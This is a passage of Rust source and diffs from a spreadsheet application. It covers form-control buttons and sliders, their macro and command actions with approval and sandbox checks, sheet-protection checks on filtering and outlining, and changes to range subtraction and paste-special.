if let Some(t) = text_param(CMD, p, "text")? {
|
||||
c.text = t;
|
||||
}
|
||||
if let Some(n) = text_param(CMD, p, "name")? {
|
||||
c.name = n.trim().to_string();
|
||||
}
|
||||
for (key, slot) in [("print", &mut c.print), ("locked", &mut c.locked), ("horizontal", &mut c.horizontal)] {
|
||||
if let Some(v) = bool_param(p, key) {
|
||||
*slot = v;
|
||||
}
|
||||
}
|
||||
let mut given = None;
|
||||
if c.kind != ControlKind::Button {
|
||||
for (key, slot) in [("min", &mut c.min), ("max", &mut c.max), ("step", &mut c.step), ("page", &mut c.page)] {
|
||||
if let Some(v) = whole(CMD, p, key)? {
|
||||
*slot = v;
|
||||
}
|
||||
}
|
||||
c.check_numbers().map_err(|e| bad(CMD, e))?;
|
||||
given = whole(CMD, p, "value")?;
|
||||
}
|
||||
if let Some(link) = link_param(CMD, &s.doc()?.wb, sheet, p)? {
|
||||
c.link = link;
|
||||
}
|
||||
// New bounds pull the value in; a given value is snapped to them.
|
||||
c.value = c.snap(given.map_or(c.value as f64, f64::from));
|
||||
let number = c.kind != ControlKind::Button;
|
||||
let write = number && (given.is_some() || p.get("min").is_some() || p.get("max").is_some() || p.get("step").is_some());
|
||||
let (value, link) = (c.value, c.link.clone());
|
||||
s.grouped("Format Control", |s| {
|
||||
edit(s, |cx| {
|
||||
if let Some(slot) = cx.sheet_mut(sheet)?.controls.get_mut(i) {
|
||||
*slot = c;
|
||||
}
|
||||
Ok(())
|
||||
})?;
|
||||
if write {
|
||||
write_link(s, sheet, link.as_deref(), value)?;
|
||||
}
|
||||
Ok(())
|
||||
})?;
|
||||
// The reply is the control as committed: a new link to a cell holding another number has
|
||||
// moved its value there.
|
||||
let (_, _, c) = find(s, CMD, p)?;
|
||||
Ok(control_json(&c))
|
||||
}
|
||||
|
||||
/// Commands a button never runs, beyond the macro policy's lists: a button has no way to show
|
||||
/// what its command would open, so a web page is refused when the action is assigned or comes in
|
||||
/// from a file. A command that turns out to open a page or a dialog when it runs is refused
|
||||
/// then, by [`press`].
|
||||
const BUTTON_DENIED: &[(&str, &str)] = &[("link.open", "buttons don't open web pages")];
|
||||
|
||||
/// The macro policy for a button's command, with the button's own refusals first.
|
||||
fn button_policy(id: &str, params: &Json, trust: crate::Trust) -> Policy {
|
||||
match BUTTON_DENIED.iter().find(|(d, _)| *d == id) {
|
||||
Some((_, why)) => Policy::Deny((*why).into()),
|
||||
None => macro_policy(id, params, trust),
|
||||
}
|
||||
}
|
||||
|
||||
/// Drops the UI requests a button's command queued from `queued` on, keeping messages for the
|
||||
/// person, and says why the press is refused when one would open a dialog or a web page, which
|
||||
/// buttons don't do (`name` is the button's). A cell edit the command asked for is dropped too.
|
||||
pub(crate) fn take_requests(s: &mut Session, queued: usize, name: &str) -> Option<String> {
|
||||
use crate::UiRequest;
|
||||
let mut blocked = None;
|
||||
let asked: Vec<UiRequest> = s.ui_requests.drain(queued.min(s.ui_requests.len())..).collect();
|
||||
for q in asked {
|
||||
match q {
|
||||
UiRequest::Dialog(d, _) => blocked = Some(format!("'{name}' would open the {d} dialog; give its command the parameters it needs.")),
|
||||
UiRequest::OpenUrl(_) => blocked = Some(format!("'{name}' would open a web page, which buttons don't do.")),
|
||||
UiRequest::EditCell(_) | UiRequest::InsertName(_) => {}
|
||||
m @ UiRequest::Message(_) => s.ui_requests.push(m),
|
||||
}
|
||||
}
|
||||
blocked
|
||||
}
|
||||
|
||||
/// The stored name of the workbook's macro `name` when it exists and declares no inputs: a fixed
|
||||
/// input range would make every press fail (`macro.run` refuses inputs it doesn't take), so such
|
||||
/// an assignment is refused when it is made and dropped to the selection when a file brings one
|
||||
/// in. A macro the workbook doesn't have (yet) is not checked: the assignment is kept as given.
|
||||
fn takes_no_inputs(wb: &Workbook, name: &str) -> Option<String> {
|
||||
crate::macros::find(wb, name).and_then(|i| wb.macros.get(i)).filter(|m| m.inputs.is_empty()).map(|m| m.name.clone())
|
||||
}
|
||||
|
||||
/// A button action from `macro` (with `input` and `output`) or `command` (with `params`).
|
||||
fn action_param(s: &Session, cmd: &str, p: &Json) -> Result<Option<ControlAction>> {
|
||||
if let Some(name) = str_param(p, "macro").map(str::trim).filter(|n| !n.is_empty()) {
|
||||
if name.chars().count() > MAX_MACRO_NAME {
|
||||
return Err(bad(cmd, "`macro` is not a macro name"));
|
||||
}
|
||||
let input = match str_param(p, "input").map(str::trim) {
|
||||
None | Some("") => MacroInput::Selection,
|
||||
Some(t) if t.eq_ignore_ascii_case("selection") => MacroInput::Selection,
|
||||
Some(t) => {
|
||||
let (_, body) = split_sheet(t);
|
||||
if gridcraft_core::RangeRef::parse(body).is_none() {
|
||||
return Err(bad(cmd, format!("`input` must be \"selection\" or a range such as B2:D9, not `{t}`")));
|
||||
}
|
||||
if let Some(stored) = takes_no_inputs(&s.doc()?.wb, name) {
|
||||
return Err(bad(cmd, format!("macro '{stored}' takes no inputs, so `input` must be \"selection\"")));
|
||||
}
|
||||
MacroInput::Fixed(t.to_string())
|
||||
}
|
||||
};
|
||||
let output = str_param(p, "output").map(str::trim).filter(|o| !o.is_empty()).map(str::to_string);
|
||||
if let Some(o) = &output
|
||||
&& gridcraft_core::RangeRef::parse(split_sheet(o).1).is_none()
|
||||
{
|
||||
return Err(bad(cmd, format!("`output` must be a cell such as F2, not `{o}`")));
|
||||
}
|
||||
return Ok(Some(ControlAction::Macro { name: name.to_string(), input, output }));
|
||||
}
|
||||
if let Some(id) = str_param(p, "command").map(str::trim).filter(|n| !n.is_empty()) {
|
||||
if find_command(id).is_none() {
|
||||
return Err(bad(cmd, format!("there is no command `{id}`")));
|
||||
}
|
||||
let params = p.get("params").cloned().unwrap_or_else(|| json!({}));
|
||||
if !params.is_object() {
|
||||
return Err(bad(cmd, "`params` must be an object"));
|
||||
}
|
||||
let trust = s.doc()?.trust;
|
||||
if let Policy::Deny(why) = button_policy(id, ¶ms, trust) {
|
||||
return Err(EngineError::Other(format!("A button can't run {id}: {why}.")));
|
||||
}
|
||||
return Ok(Some(ControlAction::Command { id: id.to_string(), params }));
|
||||
}
|
||||
Ok(None)
|
||||
}
|
||||
|
||||
fn assign(s: &mut Session, p: &Json) -> Result<Json> {
|
||||
const CMD: &str = "control.assign";
|
||||
let (sheet, i, mut c) = find(s, CMD, p)?;
|
||||
check_unlocked(s, sheet, &c)?;
|
||||
if c.kind != ControlKind::Button {
|
||||
return Err(bad(CMD, "only buttons run actions; a slider or spin button writes its value to its linked cell"));
|
||||
}
|
||||
let action = action_param(s, CMD, p)?;
|
||||
if action.is_none() && bool_param(p, "clear") != Some(true) {
|
||||
return Err(bad(CMD, "pass `macro` or `command` (or `clear: true` to remove the action)"));
|
||||
}
|
||||
c.action = action;
|
||||
let out = control_json(&c);
|
||||
edit(s, |cx| {
|
||||
if let Some(slot) = cx.sheet_mut(sheet)?.controls.get_mut(i) {
|
||||
*slot = c;
|
||||
}
|
||||
Ok(out)
|
||||
})
|
||||
}
|
||||
|
||||
fn set_value(s: &mut Session, p: &Json) -> Result<Json> {
|
||||
const CMD: &str = "control.setValue";
|
||||
let (sheet, i, c) = find(s, CMD, p)?;
|
||||
if c.kind == ControlKind::Button {
|
||||
return Err(bad(CMD, "a button has no value; use control.press"));
|
||||
}
|
||||
let v = match p.get("value") {
|
||||
Some(Json::Number(n)) => n.as_f64(),
|
||||
Some(Json::String(t)) => t.trim().parse::<f64>().ok(),
|
||||
_ => None,
|
||||
}
|
||||
.filter(|v| v.is_finite())
|
||||
.ok_or_else(|| bad(CMD, "`value` must be a number"))?;
|
||||
let value = c.snap(v);
|
||||
let label = format!("Change {}", c.kind.label());
|
||||
s.grouped(&label, |s| {
|
||||
if c.value != value {
|
||||
edit(s, |cx| {
|
||||
if let Some(slot) = cx.sheet_mut(sheet)?.controls.get_mut(i) {
|
||||
slot.value = value;
|
||||
}
|
||||
Ok(())
|
||||
})?;
|
||||
}
|
||||
write_link(s, sheet, c.link.as_deref(), value)?;
|
||||
Ok(json!({"value": value}))
|
||||
})
|
||||
}
|
||||
|
||||
fn press(s: &mut Session, p: &Json) -> Result<Json> {
|
||||
const CMD: &str = "control.press";
|
||||
let (_, _, c) = find(s, CMD, p)?;
|
||||
if c.kind != ControlKind::Button {
|
||||
return Err(bad(CMD, "only buttons can be pressed; use control.setValue for a slider or spin button"));
|
||||
}
|
||||
let name = c.display_name();
|
||||
match c.action {
|
||||
None => Err(EngineError::Other(format!("'{name}' has no action. Right-click it and choose Assign Action."))),
|
||||
Some(ControlAction::Macro { name: mac, input, output }) => {
|
||||
let mut params = json!({"name": mac});
|
||||
if let MacroInput::Fixed(r) = input {
|
||||
params["inputs"] = json!(r);
|
||||
}
|
||||
if let Some(o) = output {
|
||||
params["output"] = json!(o);
|
||||
}
|
||||
for key in ["approve", "onConflict", "overwrite", "timeLimit"] {
|
||||
if let Some(v) = p.get(key) {
|
||||
params[key] = v.clone();
|
||||
}
|
||||
}
|
||||
// The macro runner gates every step with the document's trust.
|
||||
crate::macros::run::run(s, &mac, ¶ms)
|
||||
}
|
||||
Some(ControlAction::Command { id, params }) => {
|
||||
let d = s.doc()?;
|
||||
let (doc, trust) = (d.uid, d.trust);
|
||||
let policy = button_policy(&id, ¶ms, trust);
|
||||
let file_command = matches!(policy, Policy::NeedsPermission(_));
|
||||
let why = match policy {
|
||||
Policy::Allow => None,
|
||||
Policy::Ask(why) | Policy::NeedsPermission(why) => Some(why),
|
||||
Policy::Deny(why) => return Err(EngineError::Other(format!("'{name}' can't run {id}: {why}."))),
|
||||
};
|
||||
if let Some(why) = why {
|
||||
let key = (doc, approval_key(&id, ¶ms));
|
||||
if !s.macro_approvals.contains(&key) {
|
||||
if bool_param(p, "approve") != Some(true) {
|
||||
return Err(EngineError::Approve(format!("Run {id} from '{name}'? It {why}{}.", path_note(¶ms))));
|
||||
}
|
||||
s.macro_approvals.insert(key);
|
||||
}
|
||||
}
|
||||
// As a macro step: only an approved file command reaches the file system, so a
|
||||
// command that reads or writes a file under another parameter name can't.
|
||||
let _sandbox = (!file_command).then(crate::io::ScriptSandbox::enter);
|
||||
s.grouped(&name, |s| {
|
||||
let queued = s.ui_requests.len();
|
||||
let r = s.execute(&id, params.clone());
|
||||
// As a macro step: a command that would open a dialog or a web page is refused
|
||||
// and its group rolled back; messages for the person stay queued.
|
||||
let blocked = take_requests(s, queued, &name);
|
||||
let r = r?;
|
||||
match blocked {
|
||||
Some(why) => Err(EngineError::Other(why)),
|
||||
None => Ok(r),
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// The file a button's command names in its `path`, as ` (path)` for its approval question, so
|
||||
/// the person sees what it reads or writes before saying yes. Empty without a `path`; a long one
|
||||
/// is shortened in the middle.
|
||||
fn path_note(params: &Json) -> String {
|
||||
let text = match params.get("path") {
|
||||
None | Some(Json::Null) => return String::new(),
|
||||
Some(Json::String(t)) => t.clone(),
|
||||
Some(other) => other.to_string(),
|
||||
};
|
||||
let text: String = text.chars().map(|c| if c.is_control() { ' ' } else { c }).collect();
|
||||
let n = text.chars().count();
|
||||
let shown = if n > 200 {
|
||||
let head: String = text.chars().take(100).collect();
|
||||
let tail: String = text.chars().skip(n - 99).collect();
|
||||
format!("{head}…{tail}")
|
||||
} else {
|
||||
text
|
||||
};
|
||||
format!(" ({shown})")
|
||||
}
|
||||
|
||||
/// The approval key of a button's command: its id and parameters, with a prefix that keeps it
|
||||
/// apart from a macro's fingerprint (canonical JSON, which starts with `{`).
|
||||
fn approval_key(id: &str, params: &Json) -> String {
|
||||
format!("control-command\u{0}{id}\u{0}{params}")
|
||||
}
|
||||
|
||||
/// After an edit: each slider and spin button whose linked cell holds a number takes that number
|
||||
/// (clamped and snapped), so editing the cell moves the control. Sheets without such a control
|
||||
/// are left untouched.
|
||||
pub(crate) fn sync_linked_values(wb: &mut Workbook) {
|
||||
for si in 0..wb.sheets.len() {
|
||||
let updates: Vec<(usize, u32)> = match wb.sheet(si) {
|
||||
Some(sh) if sh.controls.iter().any(|c| c.link.is_some()) => sh
|
||||
.controls
|
||||
.iter()
|
||||
.enumerate()
|
||||
.filter(|(_, c)| c.kind != ControlKind::Button)
|
||||
.filter_map(|(i, c)| linked_number(wb, si, c).map(|n| (i, c.snap(n))).filter(|(_, v)| *v != c.value))
|
||||
.collect(),
|
||||
_ => continue,
|
||||
};
|
||||
if updates.is_empty() {
|
||||
continue;
|
||||
}
|
||||
if let Some(sh) = wb.sheet_mut(si) {
|
||||
for (i, v) in updates {
|
||||
if let Some(c) = sh.controls.get_mut(i) {
|
||||
c.value = v;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------- xlsx
|
||||
|
||||
/// The hidden-data key of the button actions xlsx has no place for.
|
||||
pub(crate) const ACTIONS_KEY: &str = "control_actions";
|
||||
|
||||
/// A button's action that xlsx carries itself: a macro on the selection (`macro="[0]!Name"`).
|
||||
fn plain(a: &ControlAction) -> bool {
|
||||
matches!(a, ControlAction::Macro { input: MacroInput::Selection, output: None, .. })
|
||||
}
|
||||
|
||||
/// A copy of `wb` for xlsx with the button actions xlsx can't express (commands, fixed inputs,
|
||||
/// output cells) in a hidden name, keyed by sheet name and the control's place on the sheet, with
|
||||
/// the button's name and anchor cell to check it is still the same button when the file comes
|
||||
/// back. `None` when there is nothing to store.
|
||||
pub(crate) fn with_action_names(wb: &Workbook) -> Result<Option<Workbook>> {
|
||||
let mut items = Vec::new();
|
||||
for sh in &wb.sheets {
|
||||
for (i, c) in sh.controls.iter().enumerate() {
|
||||
if let Some(a) = c.action.as_ref().filter(|a| !plain(a)) {
|
||||
items.push(json!({"sheet": sh.name, "index": i, "name": c.display_name(), "at": c.anchor.cell.a1(), "action": a}));
|
||||
}
|
||||
}
|
||||
}
|
||||
let stale = stash::get(wb, ACTIONS_KEY).is_some();
|
||||
if items.is_empty() && !stale {
|
||||
return Ok(None);
|
||||
}
|
||||
let mut out = wb.clone();
|
||||
stash::remove(&mut out, ACTIONS_KEY);
|
||||
if !items.is_empty() {
|
||||
stash::set_json(&mut out, ACTIONS_KEY, &Json::Array(items))?;
|
||||
}
|
||||
Ok(Some(out))
|
||||
}
|
||||
|
||||
/// After a file is opened: gives buttons back the actions kept in the hidden name, and removes
|
||||
/// it. Entries that don't parse, or don't match a button, are dropped: an entry must carry the
|
||||
/// button's name and anchor cell, the button at the stored place must have that name and anchor
|
||||
/// cell (another application may have added, removed or reordered controls), and it must not
|
||||
/// have been given another macro since (a stored macro action comes back only on a button that
|
||||
/// still runs that macro, a stored command only on one the file gives no macro). A stored fixed
|
||||
/// input for a macro that takes no inputs becomes the selection (see [`takes_no_inputs`]).
|
||||
pub(crate) fn load_action_names(wb: &mut Workbook) {
|
||||
let Some(items) = stash::get_json(wb, ACTIONS_KEY) else { return };
|
||||
stash::remove(wb, ACTIONS_KEY);
|
||||
for item in items.as_array().into_iter().flatten().take(100_000) {
|
||||
let (Some(sheet), Some(index)) = (item.get("sheet").and_then(Json::as_str), item.get("index").and_then(Json::as_u64)) else { continue };
|
||||
let Ok(action) = serde_json::from_value::<ControlAction>(item.get("action").cloned().unwrap_or(Json::Null)) else { continue };
|
||||
let valid = match &action {
|
||||
ControlAction::Macro { name, .. } => !name.trim().is_empty() && name.chars().count() <= MAX_MACRO_NAME,
|
||||
ControlAction::Command { id, params } => !id.is_empty() && id.len() <= 200 && params.is_object(),
|
||||
};
|
||||
let Some(si) = wb.sheet_index(sheet) else { continue };
|
||||
let Ok(index) = usize::try_from(index) else { continue };
|
||||
let text = |k: &str| item.get(k).and_then(Json::as_str);
|
||||
let same = |c: &FormControl| {
|
||||
c.kind == ControlKind::Button
|
||||
&& text("name").is_some_and(|n| n == c.display_name())
|
||||
&& text("at").is_some_and(|a| a == c.anchor.cell.a1())
|
||||
&& match (&c.action, &action) {
|
||||
(None, ControlAction::Command { .. }) => true,
|
||||
(Some(ControlAction::Macro { name: now, .. }), ControlAction::Macro { name: kept, .. }) => now.eq_ignore_ascii_case(kept),
|
||||
_ => false,
|
||||
}
|
||||
};
|
||||
if !valid || !wb.sheet(si).is_some_and(|sh| sh.controls.get(index).is_some_and(same)) {
|
||||
continue;
|
||||
}
|
||||
let action = match action {
|
||||
// The macro takes no inputs now: the stored range would fail every press, so the
|
||||
// button runs the macro on the selection, as the file itself assigns it.
|
||||
ControlAction::Macro { name, input: MacroInput::Fixed(_), output } if takes_no_inputs(wb, &name).is_some() => {
|
||||
ControlAction::Macro { name, input: MacroInput::Selection, output }
|
||||
}
|
||||
other => other,
|
||||
};
|
||||
if let Some(c) = wb.sheet_mut(si).and_then(|sh| sh.controls.get_mut(index)) {
|
||||
c.action = Some(action);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -270,6 +270,7 @@ pub(crate) fn apply_filter(wb: &mut Workbook, sheet: usize) {
|
||||
|
||||
pub(super) fn clear_filter(s: &mut Session, _: &Json) -> Result<Json> {
|
||||
let sheet = s.doc()?.wb.active_sheet();
|
||||
crate::cmd::refuse_unless_allowed(s, sheet, "Filtering", |p| p.autofilter)?;
|
||||
edit(s, |cx| {
|
||||
let sh = cx.sheet_mut(sheet)?;
|
||||
if let Some(a) = sh.autofilter.as_mut() {
|
||||
@@ -283,6 +284,7 @@ pub(super) fn clear_filter(s: &mut Session, _: &Json) -> Result<Json> {
|
||||
|
||||
pub(super) fn reapply(s: &mut Session, _: &Json) -> Result<Json> {
|
||||
let sheet = s.doc()?.wb.active_sheet();
|
||||
crate::cmd::refuse_unless_allowed(s, sheet, "Filtering", |p| p.autofilter)?;
|
||||
edit(s, |cx| {
|
||||
apply_filter(&mut cx.wb, sheet);
|
||||
cx.structural = true;
|
||||
|
||||
@@ -21,6 +21,15 @@ fn outline_lines(s: &Session, p: &Json) -> Result<(bool, u32, u32)> {
|
||||
}
|
||||
}
|
||||
|
||||
/// Outline commands change line visibility and grouping: a protected sheet must allow formatting that axis.
|
||||
fn refuse_unless_outline_allowed(s: &Session, sheet: usize, rows: bool) -> Result<()> {
|
||||
if rows {
|
||||
crate::cmd::refuse_unless_allowed(s, sheet, "Formatting rows", |p| p.format_rows)
|
||||
} else {
|
||||
crate::cmd::refuse_unless_allowed(s, sheet, "Formatting columns", |p| p.format_columns)
|
||||
}
|
||||
}
|
||||
|
||||
pub(super) fn group(s: &mut Session, p: &Json, on: bool) -> Result<Json> {
|
||||
let si = target_sheet(s, p)?;
|
||||
// The selection belongs to the active sheet, so another sheet needs its lines.
|
||||
@@ -28,6 +37,7 @@ pub(super) fn group(s: &mut Session, p: &Json, on: bool) -> Result<Json> {
|
||||
return Err(bad(if on { "data.group" } else { "data.ungroup" }, "missing `rows` or `cols`: the selection is on the active sheet"));
|
||||
}
|
||||
let (rows, a, b) = outline_lines(s, p)?;
|
||||
refuse_unless_outline_allowed(s, si, rows)?;
|
||||
edit(s, |cx| {
|
||||
let sh = cx.sheet_mut(si)?;
|
||||
let before = outline::summary_before(sh, rows);
|
||||
@@ -58,6 +68,7 @@ pub(super) fn group(s: &mut Session, p: &Json, on: bool) -> Result<Json> {
|
||||
/// + button, saved to XLSX); showing keeps inner groups that were collapsed on their own collapsed.
|
||||
pub(super) fn detail(s: &mut Session, p: &Json, hide: bool) -> Result<Json> {
|
||||
let (rows, a, b) = outline_lines(s, p)?;
|
||||
refuse_unless_outline_allowed(s, s.doc()?.wb.active_sheet(), rows)?;
|
||||
let want = p.get("level").and_then(Json::as_u64).map(|l| l.min(outline::MAX_LEVEL as u64) as u8);
|
||||
edit(s, |cx| {
|
||||
let si = cx.sheet_index();
|
||||
@@ -123,6 +134,12 @@ pub(super) fn show_levels(s: &mut Session, p: &Json) -> Result<Json> {
|
||||
msg: "give `rows` or `cols`: the outline level to show (1 = top-level summaries only)".into(),
|
||||
});
|
||||
}
|
||||
let active = s.doc()?.wb.active_sheet();
|
||||
for (n, is_rows) in [(rows, true), (cols, false)] {
|
||||
if n.is_some() {
|
||||
refuse_unless_outline_allowed(s, active, is_rows)?;
|
||||
}
|
||||
}
|
||||
edit(s, |cx| {
|
||||
let si = cx.sheet_index();
|
||||
let sh = cx.sheet_mut(si)?;
|
||||
|
||||
@@ -18,21 +18,71 @@ fn op_param(s: Option<&str>) -> CfOperator {
|
||||
}
|
||||
}
|
||||
|
||||
/// `r` minus `cut`, as up to four non-overlapping rectangles.
|
||||
fn subtract_range(r: RangeRef, cut: &RangeRef) -> Vec<RangeRef> {
|
||||
let Some(i) = r.intersection(cut) else { return vec![r] };
|
||||
let mut out = Vec::new();
|
||||
if i.start.row > r.start.row {
|
||||
out.push(RangeRef::new(r.start, CellRef::new(i.start.row - 1, r.end.col)));
|
||||
/// Removes a set of cuts from one validation range in a row sweep, updating the result once
|
||||
/// instead of fragmenting it again for every cut.
|
||||
fn subtract_ranges(r: RangeRef, cuts: &[RangeRef]) -> Vec<RangeRef> {
|
||||
let mut events = std::collections::BTreeMap::<u64, Vec<((u32, u32), bool)>>::new();
|
||||
for cut in cuts {
|
||||
let Some(i) = r.intersection(cut) else { continue };
|
||||
let columns = (i.start.col, i.end.col);
|
||||
events.entry(u64::from(i.start.row)).or_default().push((columns, true));
|
||||
events.entry(u64::from(i.end.row) + 1).or_default().push((columns, false));
|
||||
}
|
||||
if i.end.row < r.end.row {
|
||||
out.push(RangeRef::new(CellRef::new(i.end.row + 1, r.start.col), r.end));
|
||||
if events.is_empty() {
|
||||
return vec![r];
|
||||
}
|
||||
if i.start.col > r.start.col {
|
||||
out.push(RangeRef::new(CellRef::new(i.start.row, r.start.col), CellRef::new(i.end.row, i.start.col - 1)));
|
||||
}
|
||||
if i.end.col < r.end.col {
|
||||
out.push(RangeRef::new(CellRef::new(i.start.row, i.end.col + 1), CellRef::new(i.end.row, r.end.col)));
|
||||
events.entry(u64::from(r.end.row) + 1).or_default();
|
||||
|
||||
let mut active = std::collections::BTreeMap::<(u32, u32), usize>::new();
|
||||
let mut out: Vec<RangeRef> = Vec::new();
|
||||
let mut last_by_columns = std::collections::BTreeMap::<(u32, u32), usize>::new();
|
||||
let mut previous_row = u64::from(r.start.row);
|
||||
for (row, changes) in events {
|
||||
if previous_row < row {
|
||||
let start_row = previous_row as u32;
|
||||
let end_row = (row - 1).min(u64::from(r.end.row)) as u32;
|
||||
let mut covered = Vec::<(u32, u32)>::new();
|
||||
for &(start, end) in active.keys() {
|
||||
match covered.last_mut() {
|
||||
Some(last) if start <= last.1.saturating_add(1) => last.1 = last.1.max(end),
|
||||
_ => covered.push((start, end)),
|
||||
}
|
||||
}
|
||||
let mut next_col = u64::from(r.start.col);
|
||||
let mut remaining = Vec::new();
|
||||
for (start, end) in covered {
|
||||
if next_col < u64::from(start) {
|
||||
remaining.push((next_col as u32, start - 1));
|
||||
}
|
||||
next_col = u64::from(end) + 1;
|
||||
}
|
||||
if next_col <= u64::from(r.end.col) {
|
||||
remaining.push((next_col as u32, r.end.col));
|
||||
}
|
||||
for (start_col, end_col) in remaining {
|
||||
let columns = (start_col, end_col);
|
||||
if let Some(&index) = last_by_columns.get(&columns)
|
||||
&& out[index].end.row.saturating_add(1) == start_row
|
||||
{
|
||||
out[index].end.row = end_row;
|
||||
} else {
|
||||
let index = out.len();
|
||||
out.push(RangeRef::new(CellRef::new(start_row, start_col), CellRef::new(end_row, end_col)));
|
||||
last_by_columns.insert(columns, index);
|
||||
}
|
||||
}
|
||||
}
|
||||
for (columns, add) in changes {
|
||||
if add {
|
||||
*active.entry(columns).or_default() += 1;
|
||||
} else if let Some(count) = active.get_mut(&columns) {
|
||||
*count -= 1;
|
||||
if *count == 0 {
|
||||
active.remove(&columns);
|
||||
}
|
||||
}
|
||||
}
|
||||
previous_row = row;
|
||||
}
|
||||
out
|
||||
}
|
||||
@@ -43,9 +93,7 @@ fn subtract_range(r: RangeRef, cut: &RangeRef) -> Vec<RangeRef> {
|
||||
pub(in super::super) fn remove_validation_cells(validations: &mut Vec<Validation>, cuts: &[RangeRef]) {
|
||||
for dv in validations.iter_mut() {
|
||||
let before = RangeRef::top_left(&dv.ranges);
|
||||
for cut in cuts {
|
||||
dv.ranges = dv.ranges.iter().flat_map(|r| subtract_range(*r, cut)).collect();
|
||||
}
|
||||
dv.ranges = dv.ranges.iter().flat_map(|r| subtract_ranges(*r, cuts)).collect();
|
||||
if let (Some(from), Some(to)) = (before, RangeRef::top_left(&dv.ranges)) {
|
||||
dv.f1 = move_rule_formula(&dv.f1, from, to);
|
||||
dv.f2 = dv.f2.take().map(|f| move_rule_formula(&f, from, to));
|
||||
|
||||
@@ -4,74 +4,7 @@ use super::{
|
||||
target_sheet,
|
||||
};
|
||||
|
||||
fn tiled_cells(rows: u32, cols: u32, tiles_r: u32, tiles_c: u32) -> impl Iterator<Item = (u32, u32, u32, u32)> + Clone {
|
||||
(0..tiles_r).flat_map(move |tr| (0..tiles_c).flat_map(move |tc| (0..rows).flat_map(move |r| (0..cols).map(move |c| (tr, tc, r, c)))))
|
||||
}
|
||||
|
||||
fn apply_operation(op: &str, old: &Cell, new: &mut Cell) {
|
||||
let operand = new.value.clone();
|
||||
if let (Ok(x), Ok(y)) = (old.value.to_number(), operand.to_number())
|
||||
&& (old.value.is_number() || old.value.is_empty() || old.value.is_text())
|
||||
&& (operand.is_number() || operand.is_empty())
|
||||
{
|
||||
new.value = match op {
|
||||
"add" => Value::number(x + y),
|
||||
"subtract" => Value::number(x - y),
|
||||
"multiply" => Value::number(x * y),
|
||||
"divide" if y == 0.0 => Value::Error(gridcraft_core::CellError::Div0),
|
||||
"divide" => Value::number(x / y),
|
||||
_ => operand.clone(),
|
||||
};
|
||||
} else if (old.value.is_text() || old.value.is_error()) && (operand.is_number() || operand.is_empty()) {
|
||||
new.value = old.value.clone();
|
||||
}
|
||||
if let Some(formula) = &old.formula
|
||||
&& let Ok(y) = operand.to_number()
|
||||
&& (operand.is_number() || operand.is_empty())
|
||||
&& let Some(symbol) = operation_symbol(op)
|
||||
{
|
||||
let text = format!("=({}){symbol}{}", formula.text, gridcraft_core::number_to_text(y));
|
||||
new.formula = Some(std::sync::Arc::new(Formula::new(&text)));
|
||||
new.value = Value::Empty;
|
||||
}
|
||||
}
|
||||
|
||||
fn operation_symbol(op: &str) -> Option<char> {
|
||||
match op {
|
||||
"add" => Some('+'),
|
||||
"subtract" => Some('-'),
|
||||
"multiply" => Some('*'),
|
||||
"divide" => Some('/'),
|
||||
_ => None,
|
||||
}
|
||||
}
|
||||
|
||||
fn copy_merges(
|
||||
cx: &mut crate::cmd::Ctx,
|
||||
dest_sheet: usize,
|
||||
src_sheet: &gridcraft_model::Sheet,
|
||||
src: RangeRef,
|
||||
at: CellRef,
|
||||
what: What,
|
||||
transpose: bool,
|
||||
) -> Result<()> {
|
||||
if !matches!(what, What::All | What::Formats) || transpose {
|
||||
return Ok(());
|
||||
}
|
||||
let merges: Vec<RangeRef> = src_sheet.merges.iter().filter(|merge| src.contains_range(merge)).copied().collect();
|
||||
for merge in merges {
|
||||
let row_offset = at.row as i64 - src.start.row as i64;
|
||||
let col_offset = at.col as i64 - src.start.col as i64;
|
||||
if let (Some(start), Some(end)) = (merge.start.offset(row_offset, col_offset), merge.end.offset(row_offset, col_offset)) {
|
||||
let moved = RangeRef::new(start, end);
|
||||
let sheet = cx.sheet_mut(dest_sheet)?;
|
||||
sheet.merges.retain(|existing| !existing.intersects(&moved));
|
||||
sheet.merges.push(moved);
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
#[allow(clippy::cognitive_complexity)] // The command applies the selected paste mode in one atomic edit.
|
||||
pub(super) fn paste_special(s: &mut Session, p: &Json) -> Result<Json> {
|
||||
let Some(clip) = s.clipboard.clone() else { return Err(EngineError::Other("Nothing to paste.".into())) };
|
||||
let what = match str_param(p, "what").unwrap_or("all") {
|
||||
@@ -97,7 +30,11 @@ pub(super) fn paste_special(s: &mut Session, p: &Json) -> Result<Json> {
|
||||
let dest_sheet = target_sheet(s, p)?;
|
||||
let sel = s.doc()?.selection.current();
|
||||
let at = cell_param_on(s, p, "at", dest_sheet)?.unwrap_or(sel.start);
|
||||
let src = clip.range;
|
||||
// Whole columns or rows paste whole (the copy keeps only their used part as its text), so
|
||||
// what the destination columns hold further down is replaced too, as in Excel. The cells are
|
||||
// visited sparsely below, so this costs what the columns hold, not 1,048,576 rows.
|
||||
let whole = clip.areas.is_empty() && (clip.selected.is_full_cols() || clip.selected.is_full_rows()) && clip.selected.contains_range(&clip.range);
|
||||
let src = if whole { clip.selected } else { clip.range };
|
||||
let (h, w) = if transpose { (src.width(), src.height()) } else { (src.height(), src.width()) };
|
||||
// Tile the copy over a larger destination that is a multiple of its size.
|
||||
let tile = sel.height() % h == 0
|
||||
@@ -108,17 +45,25 @@ pub(super) fn paste_special(s: &mut Session, p: &Json) -> Result<Json> {
|
||||
&& !sel.is_full_rows()
|
||||
&& sel.count() <= 4_000_000;
|
||||
let (tiles_r, tiles_c) = if tile { (sel.height() / h, sel.width() / w) } else { (1, 1) };
|
||||
// Excel refuses a paste that would run off the sheet (whole columns pasted below row 1, whole
|
||||
// rows right of column A, a whole column transposed) instead of pasting part of it.
|
||||
if at.offset(i64::from(tiles_r * h) - 1, i64::from(tiles_c * w) - 1).is_none() {
|
||||
return Err(EngineError::Other("The copied cells don't fit here: paste them where the whole copied area fits on the sheet.".into()));
|
||||
}
|
||||
// Paste Link writes a formula into every cell, blank ones included, so it is the one paste
|
||||
// whose work grows with the area rather than with what the source holds.
|
||||
let link_src = clip.range;
|
||||
if link && link_src.count().saturating_mul(u64::from(tiles_r) * u64::from(tiles_c)) > MAX_PASTE_LINK_CELLS {
|
||||
